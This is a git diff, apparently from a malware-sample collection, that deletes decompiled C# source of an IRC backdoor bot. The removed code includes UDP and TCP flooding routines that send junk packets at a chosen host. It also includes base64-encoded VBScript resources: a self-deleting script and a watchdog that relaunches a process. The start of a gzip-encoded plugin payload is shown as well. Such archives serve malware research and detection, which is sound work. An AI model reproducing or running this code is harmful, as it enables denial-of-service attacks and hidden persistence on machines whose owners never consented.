ref byte[] B) - { - MemoryStream memoryStream = new MemoryStream(); - byte[] bytes = Encoding.Default.GetBytes(s); - memoryStream.Write(bytes, 0, bytes.Length); - byte[] Byt = B; - bool flag = true; - ref bool local = ref flag; - byte[] buffer = API.ZIP(Byt, ref local); - memoryStream.Write(buffer, 0, buffer.Length); - return memoryStream.ToArray(); - } - - public static string _P(ref int y) - { - IND.pk = ""; - int num = y; - for (int index = 0; index <= num; ++index) - IND.pk += "A"; - return IND.pk; - } - - public static void Du(Array z) - { - byte[] numArray = new byte[0]; - Encoding ascii = Encoding.ASCII; - int y = 1000; - string s = IND._P(ref y); - byte[] bytes = ascii.GetBytes(s); - try - { - TcpClient tcpClient = new TcpClient(); - Socket client = tcpClient.Client; - object[] objArray1 = new object[2]; - object[] objArray2 = objArray1; - Array Instance1 = z; - object[] objArray3 = new object[1]; - object[] objArray4 = objArray3; - int num1 = 0; - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num1; - objArray4[0] = (object) local1; - object[] Arguments1 = objArray3; - object objectValue1 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, Arguments1, (string[]) null)); - objArray2[0] = objectValue1; - object[] objArray5 = objArray1; - Array Instance2 = z; - object[] objArray6 = new object[1]; - object[] objArray7 = objArray6; - int num2 = 1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num2; - objArray7[0] = (object) local2; - object[] Arguments2 = objArray6; - object objectValue2 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance2, Arguments2, (string[]) null)); - objArray5[1] = objectValue2; - object[] objArray8 = objArray1; - object[] Arguments3 = objArray8; - bool[] flagArray = new bool[2]{ true, true }; - bool[] CopyBack = flagArray; - NewLateBinding.LateCall((object) client, (System.Type) null, "Connect", Arguments3, (string[]) null, (System.Type[]) null, CopyBack, true); - if (flagArray[0]) - NewLateBinding.LateIndexSetComplex((object) z, new object[2] - { - (object) num1, - RuntimeHelpers.GetObjectValue(objArray8[0]) - }, (string[]) null, true, false); - if (flagArray[1]) - NewLateBinding.LateIndexSetComplex((object) z, new object[2] - { - (object) num2, - RuntimeHelpers.GetObjectValue(objArray8[1]) - }, (string[]) null, true, false); - tcpClient.Close(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - return; - } - int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) z, new object[1] - { - (object) 2 - }, (string[]) null)); - for (int index = 0; index <= integer; ++index) - { - UdpClient udpClient = new UdpClient(); - try - { - UdpClient Instance3 = udpClient; - object[] objArray9 = new object[2]; - object[] objArray10 = objArray9; - Array Instance4 = z; - object[] objArray11 = new object[1]; - object[] objArray12 = objArray11; - int num3 = 0; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) num3; - objArray12[0] = (object) local3; - object[] Arguments4 = objArray11; - object objectValue3 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance4, Arguments4, (string[]) null)); - objArray10[0] = objectValue3; - object[] objArray13 = objArray9; - Array Instance5 = z; - object[] objArray14 = new object[1]; - object[] objArray15 = objArray14; - int num4 = 1; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) num4; - objArray15[0] = (object) local4; - object[] Arguments5 = objArray14; - object objectValue4 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance5, Arguments5, (string[]) null)); - objArray13[1] = objectValue4; - object[] objArray16 = objArray9; - object[] Arguments6 = objArray16; - bool[] flagArray = new bool[2]{ true, true }; - bool[] CopyBack = flagArray; - NewLateBinding.LateCall((object) Instance3, (System.Type) null, "Connect", Arguments6, (string[]) null, (System.Type[]) null, CopyBack, true); - if (flagArray[0]) - NewLateBinding.LateIndexSetComplex((object) z, new object[2] - { - (object) num3, - RuntimeHelpers.GetObjectValue(objArray16[0]) - }, (string[]) null, true, false); - if (flagArray[1]) - NewLateBinding.LateIndexSetComplex((object) z, new object[2] - { - (object) num4, - RuntimeHelpers.GetObjectValue(objArray16[1]) - }, (string[]) null, true, false); - udpClient.Client.SendTimeout = 500; - udpClient.Client.Send(bytes, bytes.Length, SocketFlags.None); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - - public static void DT(Array Z) - { - byte[] numArray = new byte[0]; - Encoding ascii = Encoding.ASCII; - int y = 1000; - string s = IND._P(ref y); - byte[] bytes = ascii.GetBytes(s); - try - { - TcpClient tcpClient = new TcpClient(); - Socket client = tcpClient.Client; - object[] objArray1 = new object[2]; - object[] objArray2 = objArray1; - Array Instance1 = Z; - object[] objArray3 = new object[1]; - object[] objArray4 = objArray3; - int num1 = 0; - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num1; - objArray4[0] = (object) local1; - object[] Arguments1 = objArray3; - object objectValue1 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, Arguments1, (string[]) null)); - objArray2[0] = objectValue1; - object[] objArray5 = objArray1; - Array Instance2 = Z; - object[] objArray6 = new object[1]; - object[] objArray7 = objArray6; - int num2 = 1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num2; - objArray7[0] = (object) local2; - object[] Arguments2 = objArray6; - object objectValue2 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance2, Arguments2, (string[]) null)); - objArray5[1] = objectValue2; - object[] objArray8 = objArray1; - object[] Arguments3 = objArray8; - bool[] flagArray = new bool[2]{ true, true }; - bool[] CopyBack = flagArray; - NewLateBinding.LateCall((object) client, (System.Type) null, "Connect", Arguments3, (string[]) null, (System.Type[]) null, CopyBack, true); - if (flagArray[0]) - NewLateBinding.LateIndexSetComplex((object) Z, new object[2] - { - (object) num1, - RuntimeHelpers.GetObjectValue(objArray8[0]) - }, (string[]) null, true, false); - if (flagArray[1]) - NewLateBinding.LateIndexSetComplex((object) Z, new object[2] - { - (object) num2, - RuntimeHelpers.GetObjectValue(objArray8[1]) - }, (string[]) null, true, false); - tcpClient.Close(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - return; - } - int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Z, new object[1] - { - (object) 2 - }, (string[]) null)); - for (int index = 0; index <= integer; ++index) - { - TcpClient tcpClient = new TcpClient(); - try - { - TcpClient Instance3 = tcpClient; - object[] objArray9 = new object[2]; - object[] objArray10 = objArray9; - Array Instance4 = Z; - object[] objArray11 = new object[1]; - object[] objArray12 = objArray11; - int num3 = 0; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) num3; - objArray12[0] = (object) local3; - object[] Arguments4 = objArray11; - object objectValue3 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance4, Arguments4, (string[]) null)); - objArray10[0] = objectValue3; - object[] objArray13 = objArray9; - Array Instance5 = Z; - object[] objArray14 = new object[1]; - object[] objArray15 = objArray14; - int num4 = 1; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) num4; - objArray15[0] = (object) local4; - object[] Arguments5 = objArray14; - object objectValue4 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance5, Arguments5, (string[]) null)); - objArray13[1] = objectValue4; - object[] objArray16 = objArray9; - object[] Arguments6 = objArray16; - bool[] flagArray = new bool[2]{ true, true }; - bool[] CopyBack = flagArray; - NewLateBinding.LateCall((object) Instance3, (System.Type) null, "Connect", Arguments6, (string[]) null, (System.Type[]) null, CopyBack, true); - if (flagArray[0]) - NewLateBinding.LateIndexSetComplex((object) Z, new object[2] - { - (object) num3, - RuntimeHelpers.GetObjectValue(objArray16[0]) - }, (string[]) null, true, false); - if (flagArray[1]) - NewLateBinding.LateIndexSetComplex((object) Z, new object[2] - { - (object) num4, - RuntimeHelpers.GetObjectValue(objArray16[1]) - }, (string[]) null, true, false); - tcpClient.Client.SendTimeout = 500; - tcpClient.Client.Send(bytes, bytes.Length, SocketFlags.None); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - - public delegate void indd(string T); - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/My/MyApplication.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/My/MyApplication.cs deleted file mode 100644 index a0fa9cb5..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/My/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.My.MyApplication -// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace n.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ConsoleApplicationBase - { - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/My/MyComputer.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/My/MyComputer.cs deleted file mode 100644 index 47844178..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.My.MyComputer -// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace n.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/My/MyProject.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/My/MyProject.cs deleted file mode 100644 index 0a96fdda..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/My/MyProject.cs +++ /dev/null @@ -1,225 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.My.MyProject -// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace n.My -{ - [StandardModule] - [GeneratedCode("MyTemplate", "8.0.0.0")] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyForms - { - public B m_B; - public chat m_chat; - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - public B B - { - get - { - this.m_B = MyProject.MyForms.Create__Instance__(this.m_B); - return this.m_B; - } - set - { - if (value == this.m_B) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.Dispose__Instance__(ref this.m_B); - } - } - - public chat chat - { - get - { - this.m_chat = MyProject.MyForms.Create__Instance__(this.m_chat); - return this.m_chat; - } - set - { - if (value == this.m_chat) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.Dispose__Instance__(ref this.m_chat); - } - } - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/My/MySettings.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/My/MySettings.cs deleted file mode 100644 index fb61f906..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/My/MySettings.cs +++ /dev/null @@ -1,30 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.My.MySettings -// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b.exe - -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Runtime.CompilerServices; - -namespace n.My -{ - [CompilerGenerated] - [EditorBrowsable(EditorBrowsableState.Advanced)] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - - public static MySettings Default - { - get - { - MySettings defaultInstance = MySettings.defaultInstance; - return defaultInstance; - } - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/My/MySettingsProperty.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/My/MySettingsProperty.cs deleted file mode 100644 index cd342fb2..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/My/MySettingsProperty.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.My.MySettingsProperty -// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace n.My -{ - [DebuggerNonUserCode] - [HideModuleName] - [CompilerGenerated] - [StandardModule] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings - { - get - { - MySettings settings = MySettings.Default; - return settings; - } - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/My/Resources/Resources.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/My/Resources/Resources.cs deleted file mode 100644 index e8291c9d..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/My/Resources/Resources.cs +++ /dev/null @@ -1,54 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.My.Resources.Resources -// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace n.My.Resources -{ - [DebuggerNonUserCode] - [CompilerGenerated] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [StandardModule] - [HideModuleName] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) n.My.Resources.Resources.resourceMan, (object) null)) - n.My.Resources.Resources.resourceMan = new ResourceManager("n.Resources", typeof (n.My.Resources.Resources).Assembly); - return n.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => n.My.Resources.Resources.resourceCulture; - set => n.My.Resources.Resources.resourceCulture = value; - } - - internal static byte[] P => (byte[]) RuntimeHelpers.GetObjectValue(n.My.Resources.Resources.ResourceManager.GetObject(nameof (P), n.My.Resources.Resources.resourceCulture)); - - internal static byte[] plugin => (byte[]) RuntimeHelpers.GetObjectValue(n.My.Resources.Resources.ResourceManager.GetObject(nameof (plugin), n.My.Resources.Resources.resourceCulture)); - - internal static string Q => n.My.Resources.Resources.ResourceManager.GetString(nameof (Q), n.My.Resources.Resources.resourceCulture); - - internal static string W => n.My.Resources.Resources.ResourceManager.GetString(nameof (W), n.My.Resources.Resources.resourceCulture); - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/Resources.resx b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/Resources.resx deleted file mode 100644 index 01d19c56..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/Resources.resx +++ /dev/null @@ -1,572 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - b24gZXJyb3IgcmVzdW1lIG5leHQNCnNldCB0dCA9IGdldG9iamVjdCgid2lubWdtdHM6IikNCkRpbSBGDQpGID0gIk5KIg0KV1NjcmlwdC5TbGVlcCAyMDAwDQpvbiBlcnJvciByZXN1bWUgbmV4dA0KU2V0IGZzbyA9IENyZWF0ZU9iamVjdCgiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3QiKQ0KU2V0IGFGaWxlID0gZnNvLkdldEZpbGUoV1NjcmlwdC5TY3JpcHRGdWxsTmFtZSkNCmFGaWxlLkRlbGV0ZQ0Kc2V0IGFmID0gZnNvLkdldEZpbGUoRikNCmFmLmRlbGV0ZQ== - - - b24gZXJyb3IgcmVzdW1lIG5leHQNCmtrDQpzZXQgdHQgPSBnZXRvYmplY3QoIndpbm1nbXRzOiIpDQpEaW0gRg0KRGltIFANCkYgPSAiTkpQIg0KUCA9IE5KRg0Kc2V0IG5qbj0gY3JlYXRlb2JqZWN0KCJ3c2NyaXB0LnNoZWxsIikNCkRvIFVudGlsIDE9Mg0KV1NjcmlwdC5TbGVlcCAyMDAwDQpwcA0KbG9vcA0Kc3ViIHBwDQpvbiBlcnJvciByZXN1bWUgbmV4dA0KZm9yIGVhY2ggUHJvY2VzcyBpbiB0dC5JbnN0YW5jZXNPZigiV2luMzJfcHJvY2VzcyIpDQppZiBQcm9jZXNzLnByb2Nlc3NpZCA9IHAgdGhlbg0KZXhpdCBzdWINCmVuZCBpZg0KTmV4dA0KbmpuLnJ1bihmKQ0KV1NjcmlwdC5RdWl0DQplbmQgc3ViDQpzdWIga2sNCm9uIGVycm9yIHJlc3VtZSBuZXh0DQpTZXQgZnNvID0gQ3JlYXRlT2JqZWN0KCJTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCIpDQpTZXQgYUZpbGUgPSBmc28uR2V0RmlsZShXU2NyaXB0LlNjcmlwdEZ1bGxOYW1lKQ0KYUZpbGUuRGVsZXRlDQplbmQgc3Vi - - - - - H4sIAAAAAAAEAO29B2AcSZYlJi9tynt/SvVK1+B0oQiAYBMk2JBAEOzBiM3mkuwdaUcjKasqgcplVmVd - ZhZAzO2dvPfee++999577733ujudTif33/8/XGZkAWz2zkrayZ4hgKrIHz9+fB8/Ir74qT/p1/i1f41f - 49f4dej///f//Wv8Gn/XryHP76k/Nz1/EP3/N/ld/p7f5Nf4237sn/9d/65f8/k//7u+mRdNuqqrizpb - pNNsuazadJKn9XqZFsv06Zev00U1y8e/8W+c/G4K4+Xpr/FrPP81f+1f4+/4g/6b5wbuf/Rr/Fq/5m/4 - a/4Gv8avsfNrCGL0/AUv6J+U/v8H4K/fU37/tezX9uev8RfJ578G//g9//Bf49f4zfh/7qf9wc9Tgvtd - /PIHhJ/b5w/6NX6N3yj2+U1P+mv8Gr+B9+dvQH9/2/t73ObvWvr5l42lLY9V8TYPffwHjOumnv4aitsf - oG32wna/J/1vXOdlNVVc/yBtt99r9yT8hJq+kJ/f/jXwyq/7a/zyhzQnv9Wv8Wv8mvT3r/tr/Bq/Xrf9 - Tc8v+G3+IHr11/nWb7nz6zCa9Mdv/mttEYclv9bPJPTFb/PbbP06+OO3++Ppr18z+fV+m5parP6SX++3 - rX9X/vlLfmO8/Wv8Gr/jzq/1a/wRvwYP4zdv6J9f7zdqfgf69zf+sd/glxB2v86P/e7/16//O9LfDeGY - NIRlkvx6v17169PP34C++fXwzW+Ab36M/vkNf/2K+kq2fkP8Q/RJftwg++lvJR/+xvjnN6F/qt+U/vkP - ftPffes3o5+/5a+z9Zvjz19j67egH4TTr8nEffZrfPKLfo3flN77NX/HnV/71/gz6RMa3W++9VvijV/3 - t/ktf51Ppr/5r/ub/zp/TvK7JFu/FUb6izGi3/LX/21+y1/vk8Pf/Nf/zX+9P+c3/PWq35q++PV/m63f - hn78Nvd+l1+v+m3pl9/hHo3gt0OHv4n0/xtp97/5r/fb/hu/5a/3m/96v/mv/yf8nXt//2/+69Bfv85v - /uv85r8u/fWnm7a/sbZN/yjCg/s9+On/+//+v7/1a/yavx1wfvxr/OZf/Bq/yW8o0/prXF/L77/jzq// - a/wtvz7Lzm/+SzFro1/34C+nv9Nf/msqEMD+9ZLf6rf8LX6L36K+T/PzW/6Wv8VvuUXE/PW2fnt8Sy/+ - er/t//Vr1r+Yvtr6HTCYP6eiWaEXfqvf4reSF37r3+K3lhd+J/r893/4v1P3v9Vv+dv8Fr+NfPvb/ha/ - LX/7G/4Wv9b/9VsTtF/r1/8tfq0tmoNf7xf+WrbBr/fb/vGEzq/5W/4Ov/nv8Nv89r/lb/+b//Z/HFHv - 1/xLfvPf4bfa+p2BxC8A4Qni78wc9Vv+dr/5b/fb/Ba/1i8mxH+drd+FvvpLfvPf7ret/1jw1m/+2/12 - 9MVv4X3x25svfgf64jf3vvgdzRe/E33xW3pfbKX0k7/8rX+brd8VPf9Ov8XvVBGr/Xq/3m8naP6Ov/nv - +NtYHH/H3/Y3/23o39/qt/1ttj7yZtbM1m+F8dV/IgZKA+gS9vf8P5hYREFpQjTlJr/lr/Nb/LpCrd+c - fjPk+hM75AIePrl+xw3k+nWHyPXrDpHr1x0i16/7nuTCrLopZXL9DoZcQp6/+2by/N0BeX693+LXV/LQ - 